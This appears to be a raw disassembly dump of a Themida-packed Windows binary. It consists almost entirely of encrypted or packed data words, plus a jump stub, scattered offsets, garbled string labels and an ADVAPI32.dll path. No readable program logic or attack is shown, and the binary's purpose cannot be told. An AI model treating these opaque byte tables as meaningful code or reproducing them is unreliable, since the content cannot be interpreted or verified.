117D009Eh dd 6935F6CCh, 1A130590h, 404A4E0h, 4E1D3B80h, 0AB945D62h dd 0C7795502h, 545B4Bh, 23F18FBCh, 5177C9E8h, 4D9A05C8h dd 2CA2CDh, 5142DE1h, 0AA9BE7Fh, 79DAE837h, 81582674h dd 0F85C4B3Ah, 0EDBD007Bh, 0A1D92718h, 0BF005CC4h, 0DF92BB2Ch dd 0EFF0DB7h, 0DA41F670h, 18CAA2C1h, 0D8202E42h, 244DC2h dd 91F022B0h, 0F1903F5Ah, 62E9160Bh, 9E0E4C8h, 805FEE81h dd 40600C04h, 0E0FB139Eh, 0BE1E03A2h, 2AAF4B87h, 0E04EAC89h dd 5A5E3FB7h, 0A87E3423h, 0B0F8AD5Fh, 0A5AA2C45h, 0ED8E0394h dd 9AE92D1Ch, 8032E05Eh, 0EC684B27h, 0A60727A8h, 2171E868h dd 9A00C170h, 414406C3h, 128C5317h, 80024DB0h, 18D3A0F8h dd 5B5B101h, 0A7546C25h, 9F006879h, 2DFEE980h, 18E4C975h dd 0A4E41B07h, 0CC80CD39h, 2F9CE286h, 0C2093F0h, 63CB8748h dd 0A70314E4h, 986B1BEDh, 8C05AA1h, 3CBCD9F8h, 0DFB41636h dd 0F135E031h, 800ADC42h, 32D6A6B0h, 0EADD003Ch, 21A480B1h dd 0B1B08D94h, 9782C801h, 0BACA31B5h, 65872028h, 0A0506777h dd 0A3E8EDB0h, 0C9224100h, 0BBB5EB67h, 0CD4A2520h, 970038E4h dd 350F0BABh, 0C5C477h, 7102A5E4h, 49B3C279h, 0DFE03B5Ch dd 0FC080BDh, 0C995EE10h, 0E68F0055h, 0DD49D3Ah, 0ED00D792h dd 0F8B531EAh, 0C10BEFh, 8CA798ACh, 674F1CF3h, 5C8B9E1Ch dd 81E2624Ch, 0A7342F5Bh, 1861ACA0h, 0BC07AC68h, 5B81251h dd 0A2099F80h, 0DF380139h, 69FB273Fh, 800C20ABh, 904C632Dh dd 10C9C70h, 0FB02313Dh, 0D057E412h, 0DA07D913h, 14C9A6Eh dd 703A2A20h, 5829488Dh, 0A6D86780h, 0BA16F016h, 0D009BBCEh dd 2C8FACAh, 620EB4DBh, 0B0E1A804h, 0C413126Eh, 11F50774h dd 0A673B7h, 46D46353h, 26E60A05h, 70CCE4FDh, 0AE883E8Ah dd 19B6AD00h, 9802EED6h, 6E7ADA00h, 0B2F71448h, 9209CBEh dd 188054B7h, 4D2A4223h, 89ECCF5Ch, 2010003Dh, 1355D691h dd 1280C7EDh, 0E20C30ACh, 40FB8AEh, 0A43224A6h, 0F88C0E89h dd 94703C63h, 3E540803h, 9380D02Ch, 971C810Ch, 0B80412FFh dd 288890BEh, 2004004Dh, 13A70161h, 33001E4Eh, 0C6D839Fh dd 2D6CB116h, 309AB669h, 770A7040h, 2CBACC3Eh, 1849F4AFh dd 0EDAD24h, 0F8E62BBFh, 89DEB8C7h, 3DA7120Bh, 87F41851h dd 0FACA0078h, 0A13C4A17h, 45E6595Ch, 540237E6h, 900D86CDh dd 0C05D2E66h, 14C76F35h, 4C008FD8h, 0D4FFF142h, 84BAD5h dd 1B310F46h, 62D1E3E2h, 88D71C26h, 2920EA05h, 2059784Fh dd 39389C2Fh, 0E6F307BCh, 1684666h, 0F0557DF9h, 181F790Eh dd 0D131A74Bh, 0FC6DCE50h, 24018B02h, 0B8D4A941h, 51A7EF00h dd 9984BA6h, 6817ED39h, 11D9E0E1h, 90BCBC8Ah, 400060CCh dd 9F81CCD0h, 8E00885Ah, 12C06067h, 2957E04Bh, 1E90BA1Bh dd 5634879Ah, 3839668Dh, 953FDA02h, 7290BC48h, 0CD460FE8h dd 2820CCC8h, 0E7AEDC74h, 3034A626h, 0F0F48100h, 4ED632Eh dd 384BADB1h, 328CC0A3h, 2CB061B4h, 0CC3548A0h, 562D8E0Bh dd 18E04218h, 0F0EC898h, 8EDC7760h, 3753803Fh, 86D3F0BEh dd 7D3B6500h, 8132066Dh, 0D4B03040h, 4A4D3150h, 0DC002DE8h dd 0EC4BCB30h, 3D23CFC7h, 0A00C932h, 86DE25Eh, 84908A4Eh dd 1DF89248h, 8F031E91h, 0DA957997h, 90DA4201h, 118343Ch dd 0F3138E4h, 6B02044Bh, 0C99EB01Eh, 2464E5h, 0AA0BC16Fh dd 13957BA7h, 0CA4DB214h, 0CA058FE0h, 73E88B7h, 9419E483h dd 3FB069B6h, 82583C38h, 0E042A600h, 3A1FCFD6h, 0D530BC60h dd 169FE85Ah, 0A7923E2h, 13ECB7C8h, 12EC00AAh, 0BCEEF8Ah dd 6F009090h, 0DD92EC50h, 1FC05639h, 171BAFBh, 28C1996Eh dd 84046BC9h, 0CCB42977h, 16B57D3Dh, 2C19232h, 1B66BBE4h dd 0F8880C40h, 8D420B02h, 0DC3AFD57h, 0B09567C0h, 0B5C774F0h dd 0ACA80F65h, 0BF8AA905h, 0F3B8F4h, 4F4314A4h, 0D6D180Eh dd 0C8C08964h, 93258CADh, 4C851C68h, 0E9911100h, 0F599D9EEh dd 90536046h, 0CE623273h, 710C6C91h, 9E68A036h, 18BD808Ch dd 25DEE291h, 560E3900h, 970508CEh, 0E8D712F9h, 6578E4C1h dd 49C4DA71h, 28C0DDD6h, 11A89A7h, 59B7E294h, 1042714Bh dd 4ED24123h, 0BF4C8131h, 8019BF4Fh, 0A905278h, 0E81C2Dh dd 0EE5463D7h, 6CC681B7h, 379C9804h, 0BC81B634h, 0A0684E22h dd 86085380h, 4700DEADh, 0FC3EEF6Ah, 0BB4074h, 0A5350A78h dd 37BAB407h, 26DF2D00h, 82E15A1h, 0CBE81891h, 5E83C978h dd 0C013E026h, 0B5939D60h, 4C16000Ah, 0F74EF197h, 0FF0E8D11h dd 34BA5A76h, 1C5280F8h, 0A03260h, 2219D4C2h, 2F471EC3h dd 41F1BD02h, 828998F7h, 4152BA88h, 46B5118h, 80D16130h dd 0C15B86B4h, 66418D01h, 93BE15F2h, 58984440h, 0A8200042h dd 653D554Ch, 7F0069D7h, 0CEF7C93Ch, 484D01F0h, 428224F6h dd 58E1BDCFh, 96051023h, 1298741Ch, 17A00E9Ch, 3A0C83Ch dd 23FC4600h, 40BD379Eh, 124F677h, 0A587B111h, 7414A879h dd 549ECFC0h, 0BA85AD00h dd 59CB7C7h, 49E2B13h, 5246C25Ch, 98C1F8DEh, 0B0316AC9h dd 99E0F4E5h, 5AC30148h, 1413EAA8h, 0B75087F0h, 814003C0h dd 0BA2DB9h, 68029C33h, 0B8CED21Ch, 0C1D88C04h, 3CA23017h dd 0FAF67230h, 0AA12C791h, 20B2BEB1h, 0C93D0C3Bh, 0A277A983h dd 698F7BF3h, 8188EC85h, 71389224h, 0A4343C6Ch, 2E0282C0h dd 0BF710004h, 7D6C03BCh, 724D5CAAh, 3F3B13B0h, 2936E002h dd 128C8154h, 2DD0DFDDh, 0CE4D25B1h, 881D4C66h, 0A000A78Ah dd 4A49630Bh, 0E1941D9Eh, 20406FCFh, 9297C862h, 8B940E2Ch dd 0BB581051h, 0E358E0A2h, 0A2C0A5D8h, 1300FF4h, 3B8B3EA7h dd 40F0D4C2h, 0DBCE30B7h, 96A93504h, 0BE80AB65h, 18536CE5h dd 0C8A37BE7h, 0CA0055A4h, 0AF8AFAE2h, 0B38DF60h, 0D7D0F9FEh dd 0B4A7BC84h, 3D004EC4h, 0DB310B09h, 3BEAAEh, 0B482667Ah dd 524FBAB1h, 0BF586513h, 4D89A01Eh, 7C246AF2h, 8EA4403Ch dd 4E00C352h, 7409708Dh, 5C36352Bh, 5A2278BCh, 0D68F8400h dd 95B891C0h, 813C4EACh, 6CE7A9D0h, 2B809F38h, 0F8F9D052h dd 13367049h, 0F5A61D91h, 60D1D500h, 0B328DF93h, 0AC00E1A9h dd 23C03FFFh, 48E0A7h, 120F073Ah, 9AC90291h, 1E8988A0h dd 2020DA5Eh, 0FBBDEBh, 6220303Bh, 0DFB88EC6h, 754AE8B8h dd 0BDF488h, 59D34A16h, 5AEFEB06h, 8C776378h, 8A6AC2Ch dd 0D71A0C61h, 38BD8AC4h, 1C482248h, 343EF100h, 70A9FF12h dd 0C029112Eh, 0E06D9A42h, 9405F31h, 219FF0F6h, 0D10FDCC4h dd 400AD85Bh, 2A99E5E7h, 2D6E4B6h, 3ED8DAFh, 0F0411323h dd 20C91030h, 6A3E00DDh, 0C76C83A7h, 0F14A4D9Fh, 984C9C47h dd 6E44989Bh, 191C0077h, 16C9DA78h, 0AF26572Ah, 8F005CF9h dd 36A90132h, 0BCE2098Eh, 0AC2BBD33h, 2322F800h, 0AF2DC143h dd 0C78C20A7h, 745248h, 9F5AEED2h, 0F98D24B9h, 0E0A31B2Dh dd 272A8458h, 649018B8h, 0B2005E1Dh, 6AEE32A8h, 9CA73197h dd 0D70D8014h, 42E44D49h, 0A373901Dh, 429E5A0Eh, 0F67CF8Bh dd 0DCBE4FE0h, 892CDE3Ah, 3300A369h, 22D9CC1Ch, 0FCFEF1A3h dd 56E56074h, 6112085Eh, 6C88DD69h, 9D710306h, 0EBB1F046h dd 0BA81E816h, 8A7BD4B0h, 0B63A2480h, 0DA08B9F8h, 6195ADC8h dd 0DCC02F02h, 7101513Eh, 5DF985C6h, 0E87DA222h, 15804C39h dd 26862C58h, 0BA0F98DDh, 20A7ADAEh, 0A03C109Ch, 0EDA6395Ah dd 12D3078Bh, 7E007479h, 0FC28B77h, 0EE607B97h, 7D0EF053h dd 72AC019Ch, 9F1BB5E4h, 0BC316A2Dh, 0F3E10242h, 0A5017879h dd 3F3A9D05h, 846C702Ch, 0AEB1D200h, 5FE57A4Bh, 39FE18B4h dd 0F7F40863h, 99FF2400h, 1267FB2Dh, 39C0FF3Dh, 3421C05Ch dd 7578B288h, 9F19F205h, 9AC0C1DBh, 0FA5D48D5h, 38ED0084h dd 3191571Ch, 39DF5574h, 3E5B75C3h, 0E110046h, 65390114h dd 0CD076796h, 17CF2FECh, 6132DA60h, 85ED0736h, 8F5A35EEh dd 60B48620h, 707EC1DCh, 0AC0CE00h, 8229A86Eh, 0C8F46028h dd 0C27F17F7h, 0A7D8D11Ch, 0E605500h, 3C89443Bh, 0AC00EB86h dd 53DEA0B5h, 0FC00588Dh, 9C0AE629h, 3371C09Eh, 0E7084802h dd 74E26EB8h, 0ED8FF200h, 7560623Bh, 2FAC00FEh, 0F6C47EE6h dd 3930FBB2h, 0E5B1D144h, 81261FF0h, 256C407Ch, 58A5BFC7h dd 0B7069301h, 373114C4h, 1839A4D4h, 388CBDECh, 0D9B88E5Fh dd 1A9A990Eh, 0DA50C02Bh, 9BEC5Ah, 0B4E2EDCh, 4870E4E3h dd 0F8258530h, 229DE644h, 0CF733082h, 6002F90h, 6AF06D7Eh dd 0B02E36h, 1F7CE1AAh, 3B6EBA08h, 4A3EBF18h, 5D91B1h dd 0CAD51CC8h, 206D4FF0h, 25EA4C76h, 7E59FD60h, 7ED11D1h dd 3B107C56h, 9B36805Ah, 0AF3A75E3h, 0DC017E31h, 8CEEF6B2h dd 16F0F5FCh, 630F24E2h, 0CF850069h, 4E12F986h, 41028E78h dd 7EA55C6Bh, 8F3C4ADAh, 0C1D0E11Ch, 3C40224Fh, 0A65860DCh dd 847800ECh, 0D821B95Ch, 3F0A24B7h, 0A0BDE3E4h, 29316C8Ch dd 964800ECh, 0D3B96BCCh, 8F01D1E1h, 20273339h, 0E4E4B05Bh dd 3982F5DCh, 0B1F241EEh, 4FEBC880h, 5460105Dh, 70E71308h dd 0BBE3077Ch, 830D3D18h, 397FB9E0h, 9C710760h, 3AD7F7h dd 0AAA89528h, 6580FF42h, 46769307h, 8BA01D2Bh, 564700Ah dd 3C2CD70Eh, 8DC04061h, 497208C4h, 4D5B2207h, 6E020C0h dd 0DCF966h, 6F404776h, 2D82364Eh, 193B71C0h, 2CEAE5h dd 0B71EA9E1h, 0EC0BB596h, 2FF2E02h, 40354B69h, 15CC72C0h dd 0B4E28B9Eh, 71440072h, 0F6987A1Ah, 95007499h, 0D52B1158h dd 3EA2864Dh, 3EA836EDh, 15CCE850h, 40331E4Ah, 0C003CB00h dd 18E149FAh, 23EA0F00h, 9B3136F7h, 40EA95h, 8A011E70h dd 0FC82F2B3h, 162C39C0h, 33EB207Ch, 96614F3Eh, 9A39C898h dd 0C17A3C00h, 0F88D106Bh, 2D690BEEh, 840A18BAh, 0E39C037Ch dd 39015D3Eh, 967A3124h, 66801F5Ch, 306F3463h, 381E7235h dd 0DE872D42h, 0B8F0B533h, 26B1E3A2h, 40603EE0h, 6CC20D09h dd 42A4F500h, 66639BCDh, 20566089h, 186FDE22h, 77D0D900h dd 2313EE05h, 4E8F056Eh, 800C214Dh, 33367C9h, 0BF1BD709h dd 0B0081B8Eh, 7BBB33Ch, 833315F9h, 90C500F6h, 0AE3C60B6h dd 8225BFE3h, 0BE455FBAh, 0A22848A6h, 30FA1Ch, 24DB67E0h dd 79C1D1B7h, 5531B914h, 8EBE185Ch, 28FDC731h, 30C3169Ah dd 5721453Dh, 343AACF3h, 59C79268h, 0B2A28701h, 9B4438C9h dd 6656A880h, 8B9219FAh, 3076F188h, 75071370h, 601A9F2Dh dd 41C56DC0h, 65D502D8h, 66BEA24Ch, 0E503D844h, 212EC476h dd 0E4F6F8E3h, 998860E1h, 4FEF39A5h, 92E43348h, 0ED0D7800h dd 7834D683h, 1E2F0C3Eh, 9212982h, 79AA6500h, 9CD6BBBFh dd 771FE863h, 0BD552448h, 25E740B8h, 0E6750796h, 81D2CC1Eh dd 0B700719Fh, 0C99B2E02h, 1F4C01B8h, 80E5A730h, 5E182095h dd 7F4088h, 9954F877h, 0EB3FE231h, 0D1DD6631h, 0A2E860C6h dd 0AEAA09CBh, 9E0057FAh, 0C3EF6DB1h, 73003C93h, 2F40E28Dh dd 3A1B0961h, 0C090132Dh, 8A008E32h, 7F29DCC0h, 48B2F60h dd 0EDE06FC6h, 0F7C792h, 3AB39118h, 1F90DF3Ch, 74662760h dd 2E9E1B03h, 698E62h, 0FF0D74C1h, 2041A497h, 3B06FAB8h dd 582D991h, 9BAE0071h, 0BB6CFE67h, 233D36DDh, 3D211EB6h dd 0E38BD50Eh, 860F4FA1h, 0B029EC31h, 0BC43031Ch, 0EB54ED25h dd 552E83A0h, 0BE794D62h, 0A7B8A0BFh, 0F6360172h, 0A3A91E3Dh dd 928483B0h, 0F898BD20h, 2812C8F1h, 7C2382EDh, 46A0AF9Dh dd 9ADC9CDh, 0E203997Dh, 4FDE1C04h, 22B5E0D9h, 78154C0h dd 0B78E9812h, 158F2E55h, 0B1A665h, 34C83388h, 54447131h dd 7CA418B3h, 0E3BA49F5h, 0EAF04A00h, 0E716208Dh, 0B9B364DCh dd 56988294h, 0F0583620h, 0A0BE30A5h, 5A862F21h, 0E00F0900h dd 641B104Dh, 913F398Bh, 409F08C8h, 3A1FB0DCh, 0A74C49A0h dd 52C2C088h, 4C5C5744h, 0BF00D094h, 0D60CD1Bh, 0C77283EAh dd 0DD0089F2h, 7A5B3BB3h, 0F4F3F86Ch, 15200626h, 38401174h dd 0BE780B06h, 59493Dh, 26C19A86h, 0D98067CDh, 0DC759802h dd 98F91956h, 5CFA0AA0h, 0BB013D7Eh, 934CDB5Eh, 11B86091h dd 3ED9BC17h, 92D8E020h, 4519009Bh, 25085180h, 54399EB5h dd 609784D6h, 3C80FA0Ch, 10DE90B8h, 0A6BDEEh, 0B615A35Fh dd 0CF7A14h, 4C777222h, 0E358C275h, 8558DCEAh, 0BBDB11A0h dd 21D74300h, 0C68389CEh, 693D89Fh, 6612DC99h, 0FB02B9DBh dd 0CE7D24E0h, 0CC046097h dd 0F29D0014h, 0AAE41B76h, 0C0B0F4B1h, 0A5BDCE18h, 0E25759h dd 0A9E87D3Dh, 7A984D90h, 0DF288104h, 78C83C0Ah, 7C480078h dd 65DD4084h, 0A80073C4h, 69B8537Eh, 29E9F2Bh, 1849FB20h dd 0BF4302BAh, 41D08000h, 6DA5DE2Eh, 0F767DD8h, 357EFC57h dd 48CEA8Ah, 900482B3h, 0A28B586Ch, 815A513Fh, 348D3C95h dd 0C6C66C01h, 460C0028h, 9C9A1954h, 6109C360h, 0CD4D6Ah dd 20DB63B8h, 0D974CEEDh, 0D05576A5h, 0EA38A430h, 7C237E3Fh dd 0BEED4508h, 8C80BCA0h, 0C7127D63h, 2E00B154h, 8E180A9Fh dd 9298E156h, 2C1D9C40h, 2EB00454h, 4878C858h, 84FC3448h dd 1300C685h, 0A9A4F202h, 2C00E499h, 731AA258h, 0F47400C7h dd 0DE1E6B1Fh, 49C0673Eh, 54EB8819h, 20CFC45h, 5D951671h dd 78409741h, 0A506E23Dh, 0A2BEE74Fh, 230F05B9h, 0C0C6962Eh dd 83305926h, 0BA8AC400h, 754F506Dh, 493D4B73h, 6B87CD00h dd 0B8F3F01Eh, 9F0076A9h, 3FDC661Bh, 98D5B561h, 4370092h dd 0A575DBA8h, 9C91DE47h, 0EA671C80h, 7B8F7A0Bh, 0AB1100A3h dd 5A809C69h, 70CB4DBAh, 1F670759h, 0E8909FFh, 3DF5C000h dd 9C02485h, 0BDCD9A74h, 616F7C90h, 13E3801Fh, 1A40995Eh dd 958F2F81h, 0AB5D00EDh, 6C0D6F27h, 0AF882B82h, 0DE090011h dd 8D811B73h, 5B655A31h, 0E8C0C1A1h, 182193A6h, 19523D76h dd 260025A0h, 0E65A45F6h, 694F1h, 4E6CF29Ch, 0D716157Eh dd 0C7710404h, 0CA04020h, 1FBA030Eh, 483E9679h, 6C764900h dd 24CE05F0h, 0BC0300DFh, 0B6E9C64Dh, 37008517h, 0EB7E14E3h dd 4321EEh, 9F54A576h, 7FA43895h, 3C3DA899h, 8872836h dd 0B8BD5115h, 273C0088h, 0C5913250h, 8FCF0006h, 0BED3B508h dd 0F703BD9Dh, 350DE5ECh, 0DC729F3Bh, 0BA04063h, 4F720270h dd 3DF3A7A0h, 0CD00385Ah, 7B7E059Fh, 27F87Ch, 4B41658Ah dd 54B26ED6h, 37D03F50h, 85096AEAh, 488236F0h, 0EF60ECh dd 6309BCEAh, 0CFD97A12h, 35EB30Ah, 40099085h, 4B441856h dd 0B1320990h, 620181B0h, 62593169h, 84392E0Ch, 20A6A207h dd 3BBA5FB0h, 0C777016Bh, 0BDF46C72h, 3D4981A7h, 4955D0EBh dd 38E0F8E3h, 76223D8Bh, 0B83F8381h, 0D571DD07h, 4B3ECC20h dd 0CA6261C0h, 941072h, 0F03231A9h, 1E8E39D8h, 0D574F5B0h dd 0A7583A14h, 0BD638070h, 1C43B1h, 9752A401h, 0E748E86h dd 70B10A7Dh, 60A1B00Fh, 1902D2C5h, 0F5EA00DBh, 0EF676EBBh dd 71006A2Ch, 0E42DBC34h, 145B2B3Bh, 4C3DD7D3h, 62DB7300h dd 88FF26A4h, 45FCF900h, 0F7F81C63h, 0F09B07B3h, 0F52B3AA0h dd 4DCC090h, 3C52F920h, 1AAB00E0h, 9691471Bh, 4D85000Bh dd 8E977456h, 8D744FEBh, 30A8A426h, 98388049h, 0AD510Fh dd 13EF3B9Bh, 18E422F6h, 60E37926h, 40300A2Dh, 2CF7A23Ah dd 1F08AD63h, 210C57D3h, 62603178h, 0D06E00C4h, 13268E8Ah dd 8D21C033h, 0F1F73E7h, 20CE8001h, 94190189h, 2E4244F8h dd 8CEEE8h, 8D0C8761h, 55585921h, 90393188h, 3630E09Dh dd 0A0F879B2h, 361C78h, 13D9FA15h, 5098D0EEh, 817DBC27h dd 82F13A3Ch, 842D5040h, 96980095h, 6FCA6C46h, 7204C0F0h dd 0D4FF1BDh, 78384B4h, 8A6030E8h, 627C284h, 545A7082h dd 12C56B20h, 13AE1163h, 0D894002Eh, 0E7C9CBDEh, 0CA140147h dd 2BDF1DECh, 8058D981h, 0CF05BD58h, 448293F9h, 8900EE33h dd 0C5DE9B4Bh, 1DEFA255h, 0FD2A217Ah, 0F4D0E4BDh, 7FBC90BFh dd 0F62D79D4h, 0FE8D20E2h, 0CF14A54Ch, 210CD5E7h, 4F5104A8h dd 218F221h, 75346223h, 5894805Ah, 24A49A31h, 93C08E85h dd 0C5843039h, 1C03713Fh, 6C683AB8h, 67B38150h, 1E5B2560h dd 0A55DEC9Fh, 7E4C6418h, 4B0E326h, 83FDB309h, 0D8940638h dd 1C70D11Eh, 40E00AA9h, 69D5EC85h, 0E1005473h, 0D71FBD9h dd 0E32F8BBFh, 58F33020h, 0F880B8BDh, 384C499Eh, 0C4929104h dd 8CC71A6Eh, 3555E3B1h, 0C7808038h, 330C9D30h, 0C20007E6h dd 896D9B29h, 0B5E7FA3h, 35C966ABh, 0B20C24A4h, 0A4820010h dd 146B9BC6h, 0DA31DB0h, 1ECA610h, 21451576h, 0B09847A9h dd 319570CCh, 0E8305B45h, 7C145C5Dh, 981B1CFh, 704C0E24h dd 60FB52C8h, 8801D4E5h, 9462B2E7h, 20425E31h, 0ACE447h dd 0A2D66730h, 102F1584h, 0B9C87E00h, 522CCE94h, 548BEA35h dd 4FECE4h, 0B5750969h, 0C21258DFh, 86E06C5Eh, 0D945096Bh dd 819DBE4h, 835708A9h, 58D553E4h, 0A0988C83h, 0E952A89h dd 0DCE702DAh, 0E15A29F8h, 0E60F751Eh, 643B2F80h, 28B5B838h dd 64AB2855h, 4061D0FCh, 0DDEC1C19h, 20924F2Dh, 73686B70h dd 648C0100h, 514EEDEEh, 490B14F3h, 0FFBF01CCh, 0D8FEh db 3 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_53CD6F: ; CODE XREF: start:loc_4E0265j ; DATA XREF: start:loc_4E0086o jmp loc_540070 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- dd 2 dup(0) dd 0E0A62761h, 1, 59FCE5h, 7 dup(0) dd 7FFE8A48h, 8 dup(0) dd offset word_593056 dd 63DCB49h, 1, 2 dup(0) dd 66064823h, 7FFFFFFFh, 2 dup(0) dd 1, 3 dup(0) dd 3F9F8h, 0Ah dup(0) aTjT db 'БJ',9,'t',0 align 10h a9: unicode 0, <9>,0 dd 2 dup(0) dd offset word_5785CE dd 0 dd offset byte_570023 dd 1, 0 dd offset byte_57C30D dd 2 dup(0) aEp db '┘Pущ',0 align 4 dd 0DD000h, 7FFE0304h, 24242424h, 4 dup(0) dd offset byte_5405E7 dd offset byte_5A27C3 dd 5 dup(0) dd offset dword_536858+124h aCWindowsSystem db 'C:\WINDOWS\System32\ADVAPI32.dll',0 align 4 dd 39h dup(0) dd 7FFE0304h, 0 dd 8001FCFCh, 77E75CB5h, 3 dup(0) dd 0FFA87A32h, 84h dup(0) dd 3C102014h, 0 dd 9F69DDh, 0 dd 8002CAD7h, 2 dup(0) dd 30BD04EBh, 0A4h, 2 dup(0) dd 0BE14CA40h, 8 dup(0) dd 12FF54h, 5A27C3h, 2 dup(0) dd offset byte_579AB7 align 10h aJW db 'jитw',0 align 4 dd 6 dup(0) dd 0FF2DBEEDh, 9F70C4h, 0FFFAC6C8h, 2 dup(0) dd offset word_57BF1E dd 0E4h, 0 dd 0FFFDF117h, 0 dd offset byte_5A3D3F dd 1124FA55h, 0 dd offset word_5A36C6 align 10h dd 0A023E8h, 12h dup(0) dd 235Fh, 56806Ch, 5 dup(0) dd 1BE000h, 0 dd offset dword_570000 dd 5 dup(0) dd 1, 3 dup(0) dd 20EE9h, 0 dd 7D2h, 21212121h, 77F50000h, 0FFFFFF30h, 0 dd 7D1h, 2 dup(0) aDbcw db 'D║Гw',0 align 4 dd 4 dup(0) dd 32597F5Dh, 0 dd 0FFA92198h, 0Dh dup(0) dd 8001FCFBh, 4 dup(0) dd 32F7E9EFh, 6 dup(0) dd 8001FCFCh, 3 dup(0) dd 32h, 3044h, 2 dup(0) dd offset word_5785CE aIddi@V db '┴ddI@',1Bh,'╢v',0 align 4 dd 1Ah dup(0) dd 0E0F37630h, 64h dup(0) dd 0FFFFC8FDh, 0 dd 1, 31275558h, 0 dd offset byte_57E131 align 10h aG db '%Gра',0 align 4 dd 3 dup(0) dd 32597F5Dh, 75B5h, 0Ch dup(0) dd 2Bh, 3 dup(0) dd offset word_570442 aSjiw db 'И╕Кw',0 align 10h dd offset dword_540A88 dd 7FFE0304h, 5 dup(0) dd 7FFE0304h, 0 dd 0FFFF5417h, 6 dup(0) dd 0FFA83CF3h, 5 dup(0) dd offset word_5AA08A dd 6D07FED2h, 4 dup(0) aGW db 0Bh,'ёыw',0 align 4 dd 400000h, 7F3F0h, 8 dup(0) dd 0FFFF012Ah, 5AA0DEh, 2 dup(0) dd offset byte_5B1E63 dd 6 dup(0) aUo3 db 'Uo©3',0 align 4 dd 2 dup(0) dd offset dword_52F848+7DBh dd 2 dup(0) dd offset byte_5B4239 dd 3 dup(0) dd offset byte_5B9DD9 dd 19h, 8001FCFCh, 2 dup(0) aKIj8X db 'k ┬├#8ыX',0 align 10h dd 7FFE0304h, 0C3EFDFECh, 0 dd 198C8781h, 2 dup(0) dd offset byte_5764B3 align 10h dd 6EC7h, 7FFE0304h, 0 dd 1, 3 dup(0) dd 77BFh, 2 dup(0) dd 0E0014h, 0 dd 7C86h, 9F915Bh, 8DD1D95h, 2 dup(0) dd 0E4AF0h, 2 dup(0) dd offset dword_5B8048 dd 5 dup(0) dd 24048950h, 0 dd offset byte_57A083 aJCw db '├дГw',0 align 4 dd 7FE7EDF1h, 0 dd offset byte_5983E7 dd 0 aU_0: dw 3Eh unicode 0, <·>,0 align 10h dd 1CD8F95Ch, 2 dup(0) dd 0C83526h, 4 dup(0) dd 30DFh, 0 dd 28D0000h, 0FFFF7E5Ch, 77E77963h, 0 dd 702A06A8h, 0Ah dup(0) dd 0FF609623h, 0Ah dup(0) dd 4E19EB29h, 2 dup(0) dd 5643h, 4 dup(0) dword_53D930 dd 0B8h, 74C00B00h, 18C203h, 0C24448Bh, 0E853h, 815B0000h ; DATA XREF: Themida_:0053F4ECo dd 17C3h, 245C8900h, 24448910h, 37B85B14h, 0FF009FA0h dd 24448BE0h, 0E0FF04h, 13h dup(0) dd offset byte_5B31B5 dd 8 dup(0) dd offset dword_578DC4 dd 3 dup(0) dd 9F9C37h, 0 aGi db '┐iци',0 align 4 dd 0FFFF9F1Ch, 77DD59F0h, 0 dd 32597F5Dh, 77F5180Bh, 0FFFFFFFFh, 8803AFDCh, 7100h dd 3 dup(0) dd offset dword_578DC4 dd 9 dup(0) dd 0FF609BB9h, 6 dup(0) a6ri db '{6r╘',0 align 4 db 0Bh,'^',0 align 10h dd 0 dd 0ACh, 15F724h, 4 dup(0) dd offset word_59042E dd 4 dup(0) dd 0FFFFA15Ch, 2 dup(0) dd 1256A2ABh, 9F8C0Ah, 2 dup(0) dd 100h, 2 dup(0) aVcw db 'мvГw',0 align 10h dd 3 dup(0) aComi1I db 'Co▄╗1т╟К',0 align 4 dd 0FFFFFFFFh, 2 dup(0) dd offset dword_5BE64C dd 77E776CDh, 1, 0C83526h, 7 dup(0) dd offset byte_576983 align 8 dd 77E6D706h, 3 dup(0) aNnQ db '██ q',0 align 10h dd 8001FCFCh, 8 dup(0) dd 0FFFB8FBDh, 2 dup(0) dword_53DB70 dd 0A03268h, 5 dup(0) ; DATA XREF: Themida_:0053DBD4o dd 0A01568h, 2 dup(0) dd 2B729A9h, 0 dd 0A38D53h, 0DE81h, 0A17FD8h, 5 dup(0) aHf db 'сHД>',0 align 4 dd 4 dup(0) dd offset dword_53DB70+4 dd 0Eh dup(0) dd 1C9A7993h, 3 dup(0) dd offset byte_5A7657 dd 5 dup(0) dd 12FF54h, 4 dup(0) dd 0ACh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 0FBB524h, 5 dup(0) dd 0C9A4B70Fh, 4 dup(0) dd 9F9499h, 0 dd offset word_5B0332 align 10h dd 7FFE0304h, 5924h, 2 dup(0) dd 1CE0349h, 0 dd 0FFFFE7ACh, 12FFC4h, 9F69DDh, 13h dup(0) dd 1, 7FFE0200h, 0 dd 0FFA72343h, 0 dd 0FFA89622h, 0D5B06154h, 5A27C3h, 0FFA8967Dh, 3 dup(0) dd 7FFE0304h, 53D491h, 5 dup(0) dd 32h, 9 dup(0) dd 4, 3 dup(0) dd 0FFFFFFFFh, 0 dd offset byte_576983 dd 0F875A562h, 80h, 2 dup(0) dd 7FFE0304h, 2 dup(0) dd 1, 56FA7Dh, 1Eh dup(0) dd 0A03154h, 6A75BBEFh, 7 dup(0) dd 0FF096C8Eh, 0B1h dup(0) dd 1, 77DD23D7h, 2 dup(0) dd 1A0000h, 5A18C4h, 8 dup(0) dd 3C102014h, 0 dd offset byte_5759C7 align 10h dd 5F94h, 5DC059CEh, 0 dd offset aIRx ; "]б┴╟░xл" dd 6 dup(0) a6666 db '6666',0 align 10h dd 22h dup(0) dd 9FD05Bh, 3 dup(0) dd offset dword_5AA824 align 10h a0I db 'ъ0е╘',0 align 10h dd 0AA18h, 77E77963h, 4 dup(0) dd offset byte_585151 dd 2 dup(0) dd 7FFE0304h, 5 dup(0) dd offset byte_592CC5 dd 9F9234h, 7 dup(0) dd 240000Ch, 561D2Ch, 8 dup(0) dd offset word_59913A align 10h aZasw db 'zAХw',0 align 4 dd offset byte_5930B3 align 10h dd 918F61h, 7 dup(0) dd 1CF16DBCh, 0 dd 0FFB8A888h, 2 dup(0) dd offset byte_576983 dd 3 dup(0) dd 9FA00Fh, 0Ch dup(0) dd offset byte_5B31B5 dd 1FAAF530h, 6D5C3A43h, 706E755Fh, 656B6361h, 72h, 86h dup(0) dd offset word_5964D6 dd 7FFE0304h, 0 dd offset dword_4DE000 dd 7 dup(0) dd 70h, 0 dd 0FFFF9DCCh, 3 dup(0) dd 1FE70A24h, 6 dup(0) dd 0C455D518h, 3 dup(0) dd 0E100h, 0 dd 66CDFBBDh, 0 dd 79BBh, 10EBh, 0 